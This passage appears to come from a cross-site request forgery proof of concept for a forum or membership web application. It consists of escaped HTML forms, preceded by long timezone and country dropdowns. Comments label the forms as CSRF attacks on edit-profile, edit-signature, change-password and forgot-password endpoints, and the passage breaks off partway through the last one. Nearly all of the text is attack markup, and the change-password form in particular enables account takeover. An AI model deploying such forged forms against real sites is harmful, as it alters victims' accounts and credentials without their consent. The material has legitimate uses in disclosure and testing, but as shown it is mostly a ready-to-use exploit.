    &lt;select id="timezone" name="timezone"&gt;&lt;option value="Pacific/Midway"&gt;(UTC-11:00) Midway Island&lt;/option&gt;&lt;option value="Pacific/Samoa"&gt;(UTC-11:00) Samoa&lt;/option&gt;&lt;option value="Pacific/Honolulu"&gt;(UTC-10:00) Hawaii&lt;/option&gt;&lt;option value="US/Alaska"&gt;(UTC-09:00) Alaska&lt;/option&gt;&lt;option value="America/Los_Angeles"&gt;(UTC-08:00) Pacific Time (US &amp; Canada)&lt;/option&gt;&lt;option value="America/Tijuana"&gt;(UTC-08:00) Tijuana&lt;/option&gt;&lt;option value="US/Arizona"&gt;(UTC-07:00) Arizona&lt;/option&gt;&lt;option value="America/Chihuahua"&gt;(UTC-07:00) Chihuahua&lt;/option&gt;&lt;option value="America/Chihuahua"&gt;(UTC-07:00) La Paz&lt;/option&gt;&lt;option value="America/Mazatlan"&gt;(UTC-07:00) Mazatlan&lt;/option&gt;&lt;option value="US/Mountain"&gt;(UTC-07:00) Mountain Time (US &amp; Canada)&lt;/option&gt;&lt;option value="America/Managua"&gt;(UTC-06:00) Central America&lt;/option&gt;&lt;option value="US/Central" selected="selected"&gt;(UTC-06:00) Central Time (US &amp; Canada)&lt;/option&gt;&lt;option value="America/Mexico_City"&gt;(UTC-06:00) Guadalajara&lt;/option&gt;&lt;option value="America/Mexico_City"&gt;(UTC-06:00) Mexico City&lt;/option&gt;&lt;option value="America/Monterrey"&gt;(UTC-06:00) Monterrey&lt;/option&gt;&lt;option value="Canada/Saskatchewan"&gt;(UTC-06:00) Saskatchewan&lt;/option&gt;&lt;option value="America/Bogota"&gt;(UTC-05:00) Bogota&lt;/option&gt;&lt;option value="US/Eastern"&gt;(UTC-05:00) Eastern Time (US &amp; Canada)&lt;/option&gt;&lt;option value="US/East-Indiana"&gt;(UTC-05:00) Indiana (East)&lt;/option&gt;&lt;option value="America/Lima"&gt;(UTC-05:00) Lima&lt;/option&gt;&lt;option value="America/Bogota"&gt;(UTC-05:00) Quito&lt;/option&gt;&lt;option value="Canada/Atlantic"&gt;(UTC-04:00) Atlantic Time (Canada)&lt;/option&gt;&lt;option value="America/Caracas"&gt;(UTC-04:30) Caracas&lt;/option&gt;&lt;option value="America/La_Paz"&gt;(UTC-04:00) La Paz&lt;/option&gt;&lt;option value="America/Santiago"&gt;(UTC-04:00) Santiago&lt;/option&gt;&lt;option value="Canada/Newfoundland"&gt;(UTC-03:30) Newfoundland&lt;/option&gt;&lt;option value="America/Sao_Paulo"&gt;(UTC-03:00) Brasilia&lt;/option&gt;&lt;option value="America/Argentina/Buenos_Aires"&gt;(UTC-03:00) Buenos Aires&lt;/option&gt;&lt;option value="America/Argentina/Buenos_Aires"&gt;(UTC-03:00) Georgetown&lt;/option&gt;&lt;option value="America/Godthab"&gt;(UTC-03:00) Greenland&lt;/option&gt;&lt;option value="America/Noronha"&gt;(UTC-02:00) Mid-Atlantic&lt;/option&gt;&lt;option value="Atlantic/Azores"&gt;(UTC-01:00) Azores&lt;/option&gt;&lt;option value="Atlantic/Cape_Verde"&gt;(UTC-01:00) Cape Verde Is.&lt;/option&gt;&lt;option value="Africa/Casablanca"&gt;(UTC+00:00) Casablanca&lt;/option&gt;&lt;option value="Europe/London"&gt;(UTC+00:00) Edinburgh&lt;/option&gt;&lt;option value="Etc/Greenwich"&gt;(UTC+00:00) Greenwich Mean Time : Dublin&lt;/option&gt;&lt;option value="Europe/Lisbon"&gt;(UTC+00:00) Lisbon&lt;/option&gt;&lt;option value="Europe/London"&gt;(UTC+00:00) London&lt;/option&gt;&lt;option value="Africa/Monrovia"&gt;(UTC+00:00) Monrovia&lt;/option&gt;&lt;option value="UTC"&gt;(UTC+00:00) UTC&lt;/option&gt;&lt;option value="Europe/Amsterdam"&gt;(UTC+01:00) Amsterdam&lt;/option&gt;&lt;option value="Europe/Belgrade"&gt;(UTC+01:00) Belgrade&lt;/option&gt;&lt;option value="Europe/Berlin"&gt;(UTC+01:00) Berlin&lt;/option&gt;&lt;option value="Europe/Berlin"&gt;(UTC+01:00) Bern&lt;/option&gt;&lt;option value="Europe/Bratislava"&gt;(UTC+01:00) Bratislava&lt;/option&gt;&lt;option value="Europe/Brussels"&gt;(UTC+01:00) Brussels&lt;/option&gt;&lt;option value="Europe/Budapest"&gt;(UTC+01:00) Budapest&lt;/option&gt;&lt;option value="Europe/Copenhagen"&gt;(UTC+01:00) Copenhagen&lt;/option&gt;&lt;option value="Europe/Ljubljana"&gt;(UTC+01:00) Ljubljana&lt;/option&gt;&lt;option value="Europe/Madrid"&gt;(UTC+01:00) Madrid&lt;/option&gt;&lt;option value="Europe/Paris"&gt;(UTC+01:00) Paris&lt;/option&gt;&lt;option value="Europe/Prague"&gt;(UTC+01:00) Prague&lt;/option&gt;&lt;option value="Europe/Rome"&gt;(UTC+01:00) Rome&lt;/option&gt;&lt;option value="Europe/Sarajevo"&gt;(UTC+01:00) Sarajevo&lt;/option&gt;&lt;option value="Europe/Skopje"&gt;(UTC+01:00) Skopje&lt;/option&gt;&lt;option value="Europe/Stockholm"&gt;(UTC+01:00) Stockholm&lt;/option&gt;&lt;option value="Europe/Vienna"&gt;(UTC+01:00) Vienna&lt;/option&gt;&lt;option value="Europe/Warsaw"&gt;(UTC+01:00) Warsaw&lt;/option&gt;&lt;option value="Africa/Lagos"&gt;(UTC+01:00) West Central Africa&lt;/option&gt;&lt;option value="Europe/Zagreb"&gt;(UTC+01:00) Zagreb&lt;/option&gt;&lt;option value="Europe/Athens"&gt;(UTC+02:00) Athens&lt;/option&gt;&lt;option value="Europe/Bucharest"&gt;(UTC+02:00) Bucharest&lt;/option&gt;&lt;option value="Africa/Cairo"&gt;(UTC+02:00) Cairo&lt;/option&gt;&lt;option value="Africa/Harare"&gt;(UTC+02:00) Harare&lt;/option&gt;&lt;option value="Europe/Helsinki"&gt;(UTC+02:00) Helsinki&lt;/option&gt;&lt;option value="Europe/Istanbul"&gt;(UTC+02:00) Istanbul&lt;/option&gt;&lt;option value="Asia/Jerusalem"&gt;(UTC+02:00) Jerusalem&lt;/option&gt;&lt;option value="Europe/Helsinki"&gt;(UTC+02:00) Kyiv&lt;/option&gt;&lt;option value="Africa/Johannesburg"&gt;(UTC+02:00) Pretoria&lt;/option&gt;&lt;option value="Europe/Riga"&gt;(UTC+02:00) Riga&lt;/option&gt;&lt;option value="Europe/Sofia"&gt;(UTC+02:00) Sofia&lt;/option&gt;&lt;option value="Europe/Tallinn"&gt;(UTC+02:00) Tallinn&lt;/option&gt;&lt;option value="Europe/Vilnius"&gt;(UTC+02:00) Vilnius&lt;/option&gt;&lt;option value="Asia/Baghdad"&gt;(UTC+03:00) Baghdad&lt;/option&gt;&lt;option value="Asia/Kuwait"&gt;(UTC+03:00) Kuwait&lt;/option&gt;&lt;option value="Europe/Minsk"&gt;(UTC+03:00) Minsk&lt;/option&gt;&lt;option value="Africa/Nairobi"&gt;(UTC+03:00) Nairobi&lt;/option&gt;&lt;option value="Asia/Riyadh"&gt;(UTC+03:00) Riyadh&lt;/option&gt;&lt;option value="Europe/Volgograd"&gt;(UTC+03:00) Volgograd&lt;/option&gt;&lt;option value="Asia/Tehran"&gt;(UTC+03:30) Tehran&lt;/option&gt;&lt;option value="Asia/Muscat"&gt;(UTC+04:00) Abu Dhabi&lt;/option&gt;&lt;option value="Asia/Baku"&gt;(UTC+04:00) Baku&lt;/option&gt;&lt;option value="Europe/Moscow"&gt;(UTC+04:00) Moscow&lt;/option&gt;&lt;option value="Asia/Muscat"&gt;(UTC+04:00) Muscat&lt;/option&gt;&lt;option value="Europe/Moscow"&gt;(UTC+04:00) St. Petersburg&lt;/option&gt;&lt;option value="Asia/Tbilisi"&gt;(UTC+04:00) Tbilisi&lt;/option&gt;&lt;option value="Asia/Yerevan"&gt;(UTC+04:00) Yerevan&lt;/option&gt;&lt;option value="Asia/Kabul"&gt;(UTC+04:30) Kabul&lt;/option&gt;&lt;option value="Asia/Karachi"&gt;(UTC+05:00) Islamabad&lt;/option&gt;&lt;option value="Asia/Karachi"&gt;(UTC+05:00) Karachi&lt;/option&gt;&lt;option value="Asia/Tashkent"&gt;(UTC+05:00) Tashkent&lt;/option&gt;&lt;option value="Asia/Calcutta"&gt;(UTC+05:30) Chennai&lt;/option&gt;&lt;option value="Asia/Kolkata"&gt;(UTC+05:30) Kolkata&lt;/option&gt;&lt;option value="Asia/Calcutta"&gt;(UTC+05:30) Mumbai&lt;/option&gt;&lt;option value="Asia/Calcutta"&gt;(UTC+05:30) New Delhi&lt;/option&gt;&lt;option value="Asia/Calcutta"&gt;(UTC+05:30) Sri Jayawardenepura&lt;/option&gt;&lt;option value="Asia/Katmandu"&gt;(UTC+05:45) Kathmandu&lt;/option&gt;&lt;option value="Asia/Almaty"&gt;(UTC+06:00) Almaty&lt;/option&gt;&lt;option value="Asia/Dhaka"&gt;(UTC+06:00) Astana&lt;/option&gt;&lt;option value="Asia/Dhaka"&gt;(UTC+06:00) Dhaka&lt;/option&gt;&lt;option value="Asia/Yekaterinburg"&gt;(UTC+06:00) Ekaterinburg&lt;/option&gt;&lt;option value="Asia/Rangoon"&gt;(UTC+06:30) Rangoon&lt;/option&gt;&lt;option value="Asia/Bangkok"&gt;(UTC+07:00) Bangkok&lt;/option&gt;&lt;option value="Asia/Bangkok"&gt;(UTC+07:00) Hanoi&lt;/option&gt;&lt;option value="Asia/Jakarta"&gt;(UTC+07:00) Jakarta&lt;/option&gt;&lt;option value="Asia/Novosibirsk"&gt;(UTC+07:00) Novosibirsk&lt;/option&gt;&lt;option value="Asia/Hong_Kong"&gt;(UTC+08:00) Beijing&lt;/option&gt;&lt;option value="Asia/Chongqing"&gt;(UTC+08:00) Chongqing&lt;/option&gt;&lt;option value="Asia/Hong_Kong"&gt;(UTC+08:00) Hong Kong&lt;/option&gt;&lt;option value="Asia/Krasnoyarsk"&gt;(UTC+08:00) Krasnoyarsk&lt;/option&gt;&lt;option value="Asia/Kuala_Lumpur"&gt;(UTC+08:00) Kuala Lumpur&lt;/option&gt;&lt;option value="Australia/Perth"&gt;(UTC+08:00) Perth&lt;/option&gt;&lt;option value="Asia/Singapore"&gt;(UTC+08:00) Singapore&lt;/option&gt;&lt;option value="Asia/Taipei"&gt;(UTC+08:00) Taipei&lt;/option&gt;&lt;option value="Asia/Ulan_Bator"&gt;(UTC+08:00) Ulaan Bataar&lt;/option&gt;&lt;option value="Asia/Urumqi"&gt;(UTC+08:00) Urumqi&lt;/option&gt;&lt;option value="Asia/Irkutsk"&gt;(UTC+09:00) Irkutsk&lt;/option&gt;&lt;option value="Asia/Tokyo"&gt;(UTC+09:00) Osaka&lt;/option&gt;&lt;option value="Asia/Tokyo"&gt;(UTC+09:00) Sapporo&lt;/option&gt;&lt;option value="Asia/Seoul"&gt;(UTC+09:00) Seoul&lt;/option&gt;&lt;option value="Asia/Tokyo"&gt;(UTC+09:00) Tokyo&lt;/option&gt;&lt;option value="Australia/Adelaide"&gt;(UTC+09:30) Adelaide&lt;/option&gt;&lt;option value="Australia/Darwin"&gt;(UTC+09:30) Darwin&lt;/option&gt;&lt;option value="Australia/Brisbane"&gt;(UTC+10:00) Brisbane&lt;/option&gt;&lt;option value="Australia/Canberra"&gt;(UTC+10:00) Canberra&lt;/option&gt;&lt;option value="Pacific/Guam"&gt;(UTC+10:00) Guam&lt;/option&gt;&lt;option value="Australia/Hobart"&gt;(UTC+10:00) Hobart&lt;/option&gt;&lt;option value="Australia/Melbourne"&gt;(UTC+10:00) Melbourne&lt;/option&gt;&lt;option value="Pacific/Port_Moresby"&gt;(UTC+10:00) Port Moresby&lt;/option&gt;&lt;option value="Australia/Sydney"&gt;(UTC+10:00) Sydney&lt;/option&gt;&lt;option value="Asia/Yakutsk"&gt;(UTC+10:00) Yakutsk&lt;/option&gt;&lt;option value="Asia/Vladivostok"&gt;(UTC+11:00) Vladivostok&lt;/option&gt;&lt;option value="Pacific/Auckland"&gt;(UTC+12:00) Auckland&lt;/option&gt;&lt;option value="Pacific/Fiji"&gt;(UTC+12:00) Fiji&lt;/option&gt;&lt;option value="Pacific/Kwajalein"&gt;(UTC+12:00) International Date Line West&lt;/option&gt;&lt;option value="Asia/Kamchatka"&gt;(UTC+12:00) Kamchatka&lt;/option&gt;&lt;option value="Asia/Magadan"&gt;(UTC+12:00) Magadan&lt;/option&gt;&lt;option value="Pacific/Fiji"&gt;(UTC+12:00) Marshall Is.&lt;/option&gt;&lt;option value="Asia/Magadan"&gt;(UTC+12:00) New Caledonia&lt;/option&gt;&lt;option value="Asia/Magadan"&gt;(UTC+12:00) Solomon Is.&lt;/option&gt;&lt;option value="Pacific/Auckland"&gt;(UTC+12:00) Wellington&lt;/option&gt;&lt;option value="Pacific/Tongatapu"&gt;(UTC+13:00) Nuku'alofa&lt;/option&gt;&lt;/select&gt;
    &lt;br&gt;
    &lt;label for="location"&gt;Location&lt;/label&gt;
    &lt;select id="location" name="location"&gt;&lt;option value="--" selected="selected"&gt;Nothing selected&lt;/option&gt;&lt;option value="AD"&gt;Andorra&lt;/option&gt;&lt;option value="AE"&gt;United Arab Emirates&lt;/option&gt;&lt;option value="AF"&gt;Afghanistan&lt;/option&gt;&lt;option value="AG"&gt;Antigua and Barbuda&lt;/option&gt;&lt;option value="AI"&gt;Anguilla&lt;/option&gt;&lt;option value="AL"&gt;Albania&lt;/option&gt;&lt;option value="AM"&gt;Armenia&lt;/option&gt;&lt;option value="AO"&gt;Angola&lt;/option&gt;&lt;option value="AQ"&gt;Antarctica&lt;/option&gt;&lt;option value="AR"&gt;Argentina&lt;/option&gt;&lt;option value="AS"&gt;American Samoa&lt;/option&gt;&lt;option value="AT"&gt;Austria&lt;/option&gt;&lt;option value="AU"&gt;Australia&lt;/option&gt;&lt;option value="AW"&gt;Aruba&lt;/option&gt;&lt;option value="AX"&gt;Aland Islands&lt;/option&gt;&lt;option value="AZ"&gt;Azerbaijan&lt;/option&gt;&lt;option value="BA"&gt;Bosnia and Herzegovina&lt;/option&gt;&lt;option value="BB"&gt;Barbados&lt;/option&gt;&lt;option value="BD"&gt;Bangladesh&lt;/option&gt;&lt;option value="BE"&gt;Belgium&lt;/option&gt;&lt;option value="BF"&gt;Burkina Faso&lt;/option&gt;&lt;option value="BG"&gt;Bulgaria&lt;/option&gt;&lt;option value="BH"&gt;Bahrain&lt;/option&gt;&lt;option value="BI"&gt;Burundi&lt;/option&gt;&lt;option value="BJ"&gt;Benin&lt;/option&gt;&lt;option value="BL"&gt;Saint Barthélemy&lt;/option&gt;&lt;option value="BM"&gt;Bermuda&lt;/option&gt;&lt;option value="BN"&gt;Brunei Darussalam&lt;/option&gt;&lt;option value="BO"&gt;Bolivia&lt;/option&gt;&lt;option value="BQ"&gt;Bonaire&lt;/option&gt;&lt;option value="BR"&gt;Brazil&lt;/option&gt;&lt;option value="BS"&gt;Bahamas&lt;/option&gt;&lt;option value="BT"&gt;Bhutan&lt;/option&gt;&lt;option value="BV"&gt;Bouvet Island&lt;/option&gt;&lt;option value="BW"&gt;Botswana&lt;/option&gt;&lt;option value="BY"&gt;Belarus&lt;/option&gt;&lt;option value="BZ"&gt;Belize&lt;/option&gt;&lt;option value="CA"&gt;Canada&lt;/option&gt;&lt;option value="CC"&gt;Cocos Islands&lt;/option&gt;&lt;option value="CD"&gt;Congo (the Democratic Republic)&lt;/option&gt;&lt;option value="CF"&gt;Central African Republic&lt;/option&gt;&lt;option value="CG"&gt;Congo&lt;/option&gt;&lt;option value="CH"&gt;Switzerland&lt;/option&gt;&lt;option value="CI"&gt;Cote d'Ivoire&lt;/option&gt;&lt;option value="CK"&gt;Cook Islands&lt;/option&gt;&lt;option value="CL"&gt;Chile&lt;/option&gt;&lt;option value="CM"&gt;Cameroon&lt;/option&gt;&lt;option value="CN"&gt;China&lt;/option&gt;&lt;option value="CO"&gt;Colombia&lt;/option&gt;&lt;option value="CR"&gt;Costa Rica&lt;/option&gt;&lt;option value="CU"&gt;Cuba&lt;/option&gt;&lt;option value="CV"&gt;Cabo Verde&lt;/option&gt;&lt;option value="CW"&gt;Curacao&lt;/option&gt;&lt;option value="CX"&gt;Christmas Island&lt;/option&gt;&lt;option value="CY"&gt;Cyprus&lt;/option&gt;&lt;option value="CZ"&gt;Czech Republic&lt;/option&gt;&lt;option value="DE"&gt;Germany&lt;/option&gt;&lt;option value="DJ"&gt;Djibouti&lt;/option&gt;&lt;option value="DK"&gt;Denmark&lt;/option&gt;&lt;option value="DM"&gt;Dominica&lt;/option&gt;&lt;option value="DO"&gt;Dominican Republic&lt;/option&gt;&lt;option value="DZ"&gt;Algeria&lt;/option&gt;&lt;option value="EC"&gt;Ecuador&lt;/option&gt;&lt;option value="EE"&gt;Estonia&lt;/option&gt;&lt;option value="EG"&gt;Egypt&lt;/option&gt;&lt;option value="EH"&gt;Western Sahara&lt;/option&gt;&lt;option value="ER"&gt;Eritrea&lt;/option&gt;&lt;option value="ES"&gt;Spain&lt;/option&gt;&lt;option value="ET"&gt;Ethiopia&lt;/option&gt;&lt;option value="FI"&gt;Finland&lt;/option&gt;&lt;option value="FJ"&gt;Fiji&lt;/option&gt;&lt;option value="FK"&gt;Falkland Islands&lt;/option&gt;&lt;option value="FM"&gt;Micronesia&lt;/option&gt;&lt;option value="FO"&gt;Faroe Islands&lt;/option&gt;&lt;option value="FR"&gt;France&lt;/option&gt;&lt;option value="GA"&gt;Gabon&lt;/option&gt;&lt;option value="GB"&gt;United Kingdom&lt;/option&gt;&lt;option value="GD"&gt;Grenada&lt;/option&gt;&lt;option value="GE"&gt;Georgia&lt;/option&gt;&lt;option value="GF"&gt;French Guiana&lt;/option&gt;&lt;option value="GG"&gt;Guernsey&lt;/option&gt;&lt;option value="GH"&gt;Ghana&lt;/option&gt;&lt;option value="GI"&gt;Gibraltar&lt;/option&gt;&lt;option value="GL"&gt;Greenland&lt;/option&gt;&lt;option value="GM"&gt;Gambia&lt;/option&gt;&lt;option value="GN"&gt;Guinea&lt;/option&gt;&lt;option value="GP"&gt;Guadeloupe&lt;/option&gt;&lt;option value="GQ"&gt;Equatorial Guinea&lt;/option&gt;&lt;option value="GR"&gt;Greece&lt;/option&gt;&lt;option value="GS"&gt;South Georgia and the South Sandwich Islands&lt;/option&gt;&lt;option value="GT"&gt;Guatemala&lt;/option&gt;&lt;option value="GU"&gt;Guam&lt;/option&gt;&lt;option value="GW"&gt;Guinea-Bissau&lt;/option&gt;&lt;option value="GY"&gt;Guyana&lt;/option&gt;&lt;option value="HK"&gt;Hong Kong&lt;/option&gt;&lt;option value="HM"&gt;Heard Island and McDonald Islands&lt;/option&gt;&lt;option value="HN"&gt;Honduras&lt;/option&gt;&lt;option value="HR"&gt;Croatia&lt;/option&gt;&lt;option value="HT"&gt;Haiti&lt;/option&gt;&lt;option value="HU"&gt;Hungary&lt;/option&gt;&lt;option value="ID"&gt;Indonesia&lt;/option&gt;&lt;option value="IE"&gt;Ireland&lt;/option&gt;&lt;option value="IL"&gt;Israel&lt;/option&gt;&lt;option value="IM"&gt;Isle of Man&lt;/option&gt;&lt;option value="IN"&gt;India&lt;/option&gt;&lt;option value="IO"&gt;British Indian Ocean Territory&lt;/option&gt;&lt;option value="IQ"&gt;Iraq&lt;/option&gt;&lt;option value="IR"&gt;Iran&lt;/option&gt;&lt;option value="IS"&gt;Iceland&lt;/option&gt;&lt;option value="IT"&gt;Italy&lt;/option&gt;&lt;option value="JE"&gt;Jersey&lt;/option&gt;&lt;option value="JM"&gt;Jamaica&lt;/option&gt;&lt;option value="JO"&gt;Jordan&lt;/option&gt;&lt;option value="JP"&gt;Japan&lt;/option&gt;&lt;option value="KE"&gt;Kenya&lt;/option&gt;&lt;option value="KG"&gt;Kyrgyzstan&lt;/option&gt;&lt;option value="KH"&gt;Cambodia&lt;/option&gt;&lt;option value="KI"&gt;Kiribati&lt;/option&gt;&lt;option value="KM"&gt;Comoros&lt;/option&gt;&lt;option value="KN"&gt;Saint Kitts and Nevis&lt;/option&gt;&lt;option value="KP"&gt;The Democratic People's Republic of Korea&lt;/option&gt;&lt;option value="KR"&gt;The Republic of Korea&lt;/option&gt;&lt;option value="KW"&gt;Kuwait&lt;/option&gt;&lt;option value="KY"&gt;Cayman Islands&lt;/option&gt;&lt;option value="KZ"&gt;Kazakhstan&lt;/option&gt;&lt;option value="LA"&gt;Lao People's Democratic Republic&lt;/option&gt;&lt;option value="LB"&gt;Lebanon&lt;/option&gt;&lt;option value="LC"&gt;Saint Lucia&lt;/option&gt;&lt;option value="LI"&gt;Liechtenstein&lt;/option&gt;&lt;option value="LK"&gt;Sri Lanka&lt;/option&gt;&lt;option value="LR"&gt;Liberia&lt;/option&gt;&lt;option value="LS"&gt;Lesotho&lt;/option&gt;&lt;option value="LT"&gt;Lithuania&lt;/option&gt;&lt;option value="LU"&gt;Luxembourg&lt;/option&gt;&lt;option value="LV"&gt;Latvia&lt;/option&gt;&lt;option value="LY"&gt;Libya&lt;/option&gt;&lt;option value="MA"&gt;Morocco&lt;/option&gt;&lt;option value="MC"&gt;Monaco&lt;/option&gt;&lt;option value="MD"&gt;Moldova&lt;/option&gt;&lt;option value="ME"&gt;Montenegro&lt;/option&gt;&lt;option value="MF"&gt;Saint Martin&lt;/option&gt;&lt;option value="MG"&gt;Madagascar&lt;/option&gt;&lt;option value="MH"&gt;Marshall Islands&lt;/option&gt;&lt;option value="MK"&gt;Macedonia&lt;/option&gt;&lt;option value="ML"&gt;Mali&lt;/option&gt;&lt;option value="MM"&gt;Myanmar&lt;/option&gt;&lt;option value="MN"&gt;Mongolia&lt;/option&gt;&lt;option value="MO"&gt;Macao&lt;/option&gt;&lt;option value="MP"&gt;Northern Mariana Islands&lt;/option&gt;&lt;option value="MQ"&gt;Martinique&lt;/option&gt;&lt;option value="MR"&gt;Mauritania&lt;/option&gt;&lt;option value="MS"&gt;Montserrat&lt;/option&gt;&lt;option value="MT"&gt;Malta&lt;/option&gt;&lt;option value="MU"&gt;Mauritius&lt;/option&gt;&lt;option value="MV"&gt;Maldives&lt;/option&gt;&lt;option value="MW"&gt;Malawi&lt;/option&gt;&lt;option value="MX"&gt;Mexico&lt;/option&gt;&lt;option value="MY"&gt;Malaysia&lt;/option&gt;&lt;option value="MZ"&gt;Mozambique&lt;/option&gt;&lt;option value="NA"&gt;Namibia&lt;/option&gt;&lt;option value="NC"&gt;New Caledonia&lt;/option&gt;&lt;option value="NE"&gt;Niger&lt;/option&gt;&lt;option value="NF"&gt;Norfolk Islands&lt;/option&gt;&lt;option value="NG"&gt;Nigeria&lt;/option&gt;&lt;option value="NI"&gt;Nicaragua&lt;/option&gt;&lt;option value="NL"&gt;Netherlands&lt;/option&gt;&lt;option value="NO"&gt;Norway&lt;/option&gt;&lt;option value="NP"&gt;Nepal&lt;/option&gt;&lt;option value="NR"&gt;Nauru&lt;/option&gt;&lt;option value="NU"&gt;Niue&lt;/option&gt;&lt;option value="NZ"&gt;New Zealand&lt;/option&gt;&lt;option value="OM"&gt;Oman&lt;/option&gt;&lt;option value="PA"&gt;Panama&lt;/option&gt;&lt;option value="PE"&gt;Peru&lt;/option&gt;&lt;option value="PF"&gt;French Polynesia&lt;/option&gt;&lt;option value="PG"&gt;Papua New Guinea&lt;/option&gt;&lt;option value="PH"&gt;Philippines&lt;/option&gt;&lt;option value="PK"&gt;Pakistan&lt;/option&gt;&lt;option value="PL"&gt;Poland&lt;/option&gt;&lt;option value="PM"&gt;Saint Pierre and Miquelon&lt;/option&gt;&lt;option value="PN"&gt;Pitcairn&lt;/option&gt;&lt;option value="PR"&gt;Puerto Rico&lt;/option&gt;&lt;option value="PS"&gt;Palestine&lt;/option&gt;&lt;option value="PT"&gt;Portugal&lt;/option&gt;&lt;option value="PW"&gt;Palau&lt;/option&gt;&lt;option value="PY"&gt;Paraguay&lt;/option&gt;&lt;option value="QA"&gt;Qatar&lt;/option&gt;&lt;option value="RE"&gt;Réunion&lt;/option&gt;&lt;option value="RO"&gt;Romania&lt;/option&gt;&lt;option value="RS"&gt;Serbia&lt;/option&gt;&lt;option value="RU"&gt;Russian Federation&lt;/option&gt;&lt;option value="RW"&gt;Rwanda&lt;/option&gt;&lt;option value="SA"&gt;Saudi Arabia&lt;/option&gt;&lt;option value="SB"&gt;Solomon Islands&lt;/option&gt;&lt;option value="SC"&gt;Seychelles&lt;/option&gt;&lt;option value="SD"&gt;Sudan&lt;/option&gt;&lt;option value="SE"&gt;Sweden&lt;/option&gt;&lt;option value="SG"&gt;Singapore&lt;/option&gt;&lt;option value="SH"&gt;Saint Helena&lt;/option&gt;&lt;option value="SI"&gt;Slovenia&lt;/option&gt;&lt;option value="SJ"&gt;Svalbard and Jan Mayen&lt;/option&gt;&lt;option value="SK"&gt;Slovakia&lt;/option&gt;&lt;option value="SL"&gt;Sierra Leone&lt;/option&gt;&lt;option value="SM"&gt;San Marino&lt;/option&gt;&lt;option value="SN"&gt;Senegal&lt;/option&gt;&lt;option value="SO"&gt;Somalia&lt;/option&gt;&lt;option value="SR"&gt;Suriname&lt;/option&gt;&lt;option value="SS"&gt;South Sudan&lt;/option&gt;&lt;option value="ST"&gt;Sao Tome and Pricipe&lt;/option&gt;&lt;option value="SV"&gt;El Salvador&lt;/option&gt;&lt;option value="SX"&gt;Sint Maarten&lt;/option&gt;&lt;option value="SY"&gt;Syrian Arab Republic&lt;/option&gt;&lt;option value="SZ"&gt;Swaziland&lt;/option&gt;&lt;option value="TC"&gt;Turks and Caicos Islands&lt;/option&gt;&lt;option value="TD"&gt;Chad&lt;/option&gt;&lt;option value="TF"&gt;French Southern Terrotories&lt;/option&gt;&lt;option value="TG"&gt;Togo&lt;/option&gt;&lt;option value="TH"&gt;Thailand&lt;/option&gt;&lt;option value="TJ"&gt;Tajikistan&lt;/option&gt;&lt;option value="TK"&gt;Tokelau&lt;/option&gt;&lt;option value="TL"&gt;Timor-Leste&lt;/option&gt;&lt;option value="TM"&gt;Turkmenistan&lt;/option&gt;&lt;option value="TN"&gt;Tunisia&lt;/option&gt;&lt;option value="TO"&gt;Tonga&lt;/option&gt;&lt;option value="TR"&gt;Turkey&lt;/option&gt;&lt;option value="TT"&gt;Trinidad and Tobago&lt;/option&gt;&lt;option value="TV"&gt;Tuvalu&lt;/option&gt;&lt;option value="TW"&gt;Taiwan&lt;/option&gt;&lt;option value="TZ"&gt;Tanzania&lt;/option&gt;&lt;option value="UA"&gt;Ukraine&lt;/option&gt;&lt;option value="UG"&gt;Uganda&lt;/option&gt;&lt;option value="UM"&gt;United States Minor Outlying Islands&lt;/option&gt;&lt;option value="US"&gt;United States&lt;/option&gt;&lt;option value="UY"&gt;Uruguay&lt;/option&gt;&lt;option value="UZ"&gt;Uzbekistan&lt;/option&gt;&lt;option value="VA"&gt;Holy See&lt;/option&gt;&lt;option value="VC"&gt;Venezuela&lt;/option&gt;&lt;option value="VG"&gt;Virgin Islands (GB)&lt;/option&gt;&lt;option value="VI"&gt;Virgin Islands (US)&lt;/option&gt;&lt;option value="VN"&gt;Viet Nam&lt;/option&gt;&lt;option value="VU"&gt;Vanatu&lt;/option&gt;&lt;option value="WF"&gt;Wallis and Futuna&lt;/option&gt;&lt;option value="WS"&gt;Samoa&lt;/option&gt;&lt;option value="YE"&gt;Yemen&lt;/option&gt;&lt;option value="YT"&gt;Mayotte&lt;/option&gt;&lt;option value="ZA"&gt;South Africa&lt;/option&gt;&lt;option value="ZM"&gt;Zambia&lt;/option&gt;&lt;option value="ZW"&gt;Zimbabwe&lt;/option&gt;&lt;/select&gt;
    &lt;br&gt;
    &lt;label for="birthday"&gt;Birthday&lt;/label&gt;
    &lt;input type="text" name="birthday" id="birthday" value="0000-00-00"&gt;
    &lt;span id="helpBlock" class="help-block"&gt;In the format of: YYYY-MM-DD&lt;/span&gt;
    &lt;label for="editor"&gt;About You&lt;/label&gt;&lt;br&gt;
    &lt;textarea name="about" id="editor" style="min-width: 100%; max-width: 100%; height: 150px;"&gt;&lt;/textarea&gt;
    &lt;br&gt;
    &lt;div class="panel panel-default"&gt;
    &lt;div class="panel-heading"&gt;Additional Profile Fields&lt;/div&gt;
    &lt;div class="panel-body"&gt;&lt;/div&gt;
    &lt;/div&gt;
    &lt;br&gt;
    &lt;input type="submit" name="edit" value="Save Changes"&gt;
&lt;/form&gt;
&lt;!-- Edit Profile CSRF End --&gt;

&lt;!-- Edit Signature CSRF --&gt;
&lt;form id="LAYER_form" action="http://localhost/profile.php/cmd/signature" method="POST" style="padding: 25px;"&gt;
    &lt;label for="sig"&gt;Signature&lt;/label&gt;
    &lt;textarea name="sig" id="editor" style="width: 100%; height: 300px; max-width: 100%; min-width: 100%;"&gt;&lt;/textarea&gt;
    &lt;br&gt;&lt;br&gt;
    &lt;input type="submit" name="edit" value="Save Changes"&gt;
&lt;/form&gt;
&lt;!-- Edit Signature CSRF End --&gt;

&lt;!-- Change Password CSRF --&gt;
&lt;form id="LAYER_form" action="http://localhost/profile.php/cmd/password" method="POST" style="padding: 35px;"&gt;
    &lt;label for="current_password"&gt;Current Password&lt;/label&gt;
    &lt;input type="password" name="current_password" id="current_password"&gt;
    &lt;label for="new_password"&gt;New Password&lt;/label&gt;
    &lt;input type="password" name="new_password" id="new_password"&gt;
    &lt;br&gt;&lt;br&gt;
    &lt;input type="submit" name="edit" value="Save Changes"&gt;
&lt;/form&gt;
&lt;!-- Change Password CSRF End --&gt;

&lt;!-- Forgot Password CSRF --&gt;
&lt;form action="http://localhost/members.php/cmd/forgotpassword" method="POST" id="LAYER_form" style="padding: 25px;"&gt;
    &lt;label for="email"&gt;Email&lt;/label&gt;
    &lt;input type="text" name="email" id="email" class="form-control"&gt;
    &lt;br&gt;&lt;br&gt;
